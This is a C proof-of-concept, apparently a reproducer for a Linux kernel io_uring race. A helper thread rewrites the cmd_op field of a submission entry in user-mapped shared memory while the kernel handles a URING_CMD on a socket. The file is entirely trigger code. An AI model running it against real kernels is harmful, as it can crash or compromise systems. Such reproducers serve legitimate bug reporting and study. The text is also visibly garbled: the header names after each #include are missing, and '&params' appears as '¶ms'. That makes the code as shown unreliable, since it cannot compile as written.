#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) #define NUM_SQ_PAGES 4 static int uring_fd; static struct io_uring_sqe *sq_data; static void *thread_fn(void *dummy) { sleep(1); sq_data->cmd_op = 0x5678; return NULL; } int main(void) { printf("main pid: %d\n", getpid()); // sq sq_data = SYSCHK(mmap(NULL, NUM_SQ_PAGES*0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0)); // cq void *cq_data = SYSCHK(mmap(NULL, NUM_SQ_PAGES*0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0)); *(volatile unsigned int *)(cq_data+4) = 64 * NUM_SQ_PAGES; // initialize uring struct io_uring_params params = { .flags = IORING_SETUP_DEFER_TASKRUN|IORING_SETUP_SINGLE_ISSUER|IORING_SETUP_NO_MMAP|IORING_SETUP_NO_SQARRAY, .sq_off = { .user_addr = (unsigned long)sq_data }, .cq_off = { .user_addr = (unsigned long)cq_data } }; uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/10, ¶ms)); int sockfd = SYSCHK(socket(AF_INET, SOCK_STREAM, 0)); sq_data[0] = (struct io_uring_sqe) { .opcode = IORING_OP_URING_CMD, .flags = 0, .ioprio = 0, .fd = sockfd, .cmd_op = 0x1234, .user_data = 123 }; pthread_t thread; if (pthread_create(&thread, NULL, thread_fn, NULL)) errx(1, "pthread_create"); int submitted = SYSCHK(syscall(__NR_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0)); printf("submitted %d\n", submitted); return 0; }